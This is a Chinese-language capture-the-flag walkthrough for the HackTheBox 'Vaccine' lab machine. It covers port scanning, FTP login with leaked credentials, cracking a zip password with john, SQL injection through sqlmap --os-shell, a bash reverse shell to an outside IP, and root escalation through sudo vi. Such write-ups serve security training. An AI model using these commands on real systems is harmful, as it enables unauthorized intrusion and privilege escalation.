HackTheBox-Vaccine

Posted ColinDope

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HackTheBox-Vaccine相关的知识,希望对你有一定的参考价值。

HackTheBox-Vaccine

实验环境

信息收集

端口扫描:

nmap -sC -sV 10.10.10.46

看到21、22、80端口开放,先访问80端口,是一个登录界面,目前我们没有登录的账号密码

因为上一题中我们得到了一个ftp的账户密码,先试试能不能ftp登录

ftpuser/mc@F1l3ZilL4

直接输入上一题中获得的用户名和密码可以成功登录

可以看到有一个备份文件,我们先下载下来,但是这个文件需要解压密码

我们直接使用john来爆破

zip2john backup.zip > hash
john hash
#因为我已经爆破过一次,所以可以直接show输出
john hash --show

得到压缩包密码7418529630,解压后有index.php,从代码中可以看到用户名和md5加密的密码

将md5加密的密码到在线的md5解密网站解密,得到密码为qwerty789

回到80端口的登录界面,用获得的用户名和密码登录,登录后的页面如下

实验过程

试试搜索处有没有常见漏洞,加单引号报错,应该是有sql注入

那就直接用sqlmap跑,注意cookie要改成自己的值

sqlmap -u 'http://10.10.10.46/dashboard.php?search=a --cookie="PHPSESSID=1ah5j9312pm8sf4sktan1gdll1"

可以看到确实存在sql注入,数据库为PostgreSQL,试试直接用os-shell获取shell

sqlmap -u 'http://10.10.10.46/dashboard.php?search=a --cookie="PHPSESSID=1ah5j9312pm8sf4sktan1gdll1" --os-shell

接下来反弹shell,开启一个监听端口

在sqlmap的shell中输入

bash -c 'bash -i >& /dev/tcp/10.10.15.60/1234 0>&1'

成功接收到反弹的shell

先看一下存在注入的页面,有没有更多可以利用的信息,发现有数据库连接的用户名和密码

接下来先得到交互式的shell

#看别的walkthrough说是两个都可以,但是我用第一个不行
SHELL=/bin/bash script -q /dev/null
python3 -c "import pty;pty.spawn('/bin/bash')"

得到交互式的shell后,可以通过sudo -l命令查看当前用户的权限,用户被允许编辑配置文件/etc/postgresql/11/main/pg_hba.conf,可以利用vi并验证密码提权至root

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

输入密码验证后,会出现字符重叠,直接执行如下命令并回车即可获得root权限

:!/bin/bash

最后就可以读取root的flag了

参考:

https://www.echocipher.life/index.php/archives/891/

以上是关于HackTheBox-Vaccine的主要内容,如果未能解决你的问题,请参考以下文章

微信小程序代码片段

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器